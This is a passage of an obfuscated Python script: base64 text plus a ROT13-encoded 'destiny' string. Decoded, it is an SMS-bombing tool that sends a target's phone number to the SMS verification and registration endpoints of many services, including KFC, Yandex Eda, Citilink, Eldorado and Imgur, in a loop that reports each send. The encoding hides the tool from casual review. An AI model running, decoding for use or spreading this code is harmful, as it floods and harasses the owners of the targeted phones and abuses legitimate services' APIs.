zcD90eXBlPXNlbmRDb25maXJtQ29kZSZwaG9uZU51bWJlcj17fSINCiAgICAgICAgICAgICAgICAuZm9ybWF0KCIrIiArIHBob25lKSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJGdW5kYXlzaG9wIG/RgtC/0YDQsNCy0LvQtdC90L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiRmFjZWJvb2sgc2VudCBzdWNjZXNzZnVsbHkh0L4hIikNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJGdW5kYXlzaG9wIEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9nb3J6ZHJhdi5vcmcvbG9naW4vcmVnaXN0ZXIvc21zL3NlbmQiLA0KICAgICAgICAgICAgICAgIGRhdGE9eyJwaG9uZSI6IHBob25lfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJHb3J6ZHJhdiBv0YLQv9GA0LDQstC70LXQvdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgICAgICBwcmludChuaWNlICsgIkluc3RhZ3JhbSBzZW50IHN1Y2Nlc3NmdWxseSHQviEiKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIkdvcnpkcmF2IEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9hcHAtYXBpLmtmYy5ydS9hcGkvdjEvY29tbW9uL2F1dGgvc2VuZC12YWxpZGF0aW9uLXNtcyIsDQogICAgICAgICAgICAgICAgZGF0YT17InBob25lIjogIisiICsgcGhvbmV9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIktGQyBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICLQktC60L7QvdGC0LDQutGC0LUgc2VudCBzdWNjZXNzZnVsbHkh0L4hIikNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJLRkMgRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2FwaS1wcm9kdWN0aW9uLnZpYXNhdC5ydS9hcGkvdjEvYXV0aF9jb2RlcyIsDQogICAgICAgICAgICAgICAganNvbj17Im1zaXNkbiI6ICIrIiArIHBob25lfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJWaWFzYXQgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCg0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIlZpYXNhdCBGYWlsZWQh0L7QviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vLnlhbmRleC9hcGkvdjEvdXNlci9yZXF1ZXN0X2F1dGhlbnRpY2F0aW9uX2NvZGUiLA0KICAgICAgICAgICAgICAgIGpzb249eyJwaG9uZV9udW1iZXIiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiWWFuZGV4IEZvb2Qgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJZYW5kZXggRm9vZCBGYWlsZWQh0L7QviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgZiJodHRwczovL3d3dy5jaXRpbGluay5ydS9yZWdpc3RyYXRpb24vY29uZmlybS9waG9uZS8re3Bob25lfS8iLA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgItChaXRpbGluayBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgItChaXRpbGluayBGYWlsZWQh0L7QviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vZWRhLnlhbmRleC9hcGkvdjEvdXNlci9yZXF1ZXN0X2F1dGhlbnRpY2F0aW9uX2NvZGUiLA0KICAgICAgICAgICAgICAgIGpzb249eyJwaG9uZV9udW1iZXIiOiAiKyIgKyBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiWWFuZGV4IEVkYSBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIllhbmRleCBFZGEgRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL215LmRpYW5ldC5jb20udWEvc2VuZF9zbXMvIiwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgZGF0YT17InBob25lIjogcGhvbmV9LA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiRGlhbmV0IHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiRGlhbmV0IEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMuZ2V0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2FwaS5lbGRvcmFkby51YS92MS9zaWduLyIsDQogICAgICAgICAgICAgICAgcGFyYW1zPXsNCiAgICAgICAgICAgICAgICAgICAgImxvZ2luIjogcGhvbmUsDQogICAgICAgICAgICAgICAgICAgICJzdGVwIjogInBob25lLWNoZWNrIiwNCiAgICAgICAgICAgICAgICAgICAgImZiX2lkIjogIm51bGwiLA0KICAgICAgICAgICAgICAgICAgICAiZmJfdG9rZW4iOiAibnVsbCIsDQogICAgICAgICAgICAgICAgICAgICJsYW5nIjogInJ1IiwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIkVsZG9yYWRvIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiRWxkb3JhZG8gRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2FwaS5raW5vbGFuZC5jb20udWEvYXBpL3YxL3NlcnZpY2Uvc2VuZC1zbXMiLA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9eyJBZ2VudCI6ICJ3ZWJzaXRlIn0sDQogICAgICAgICAgICAgICAganNvbj17DQogICAgICAgICAgICAgICAgICAgICJQaG9uZSI6IHBob25lLA0KICAgICAgICAgICAgICAgICAgICAiVHlwZSI6IDENCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICdLaW5vbGFuZCBzZW50IHN1Y2Nlc3NmdWxseSHQviEnKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgJ2tpbm9sYW5kIEZhaWxlZCHQvtC+IScpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vYXBpLmltZ3VyLmNvbS9hY2NvdW50L3YxL3Bob25lc' destiny = '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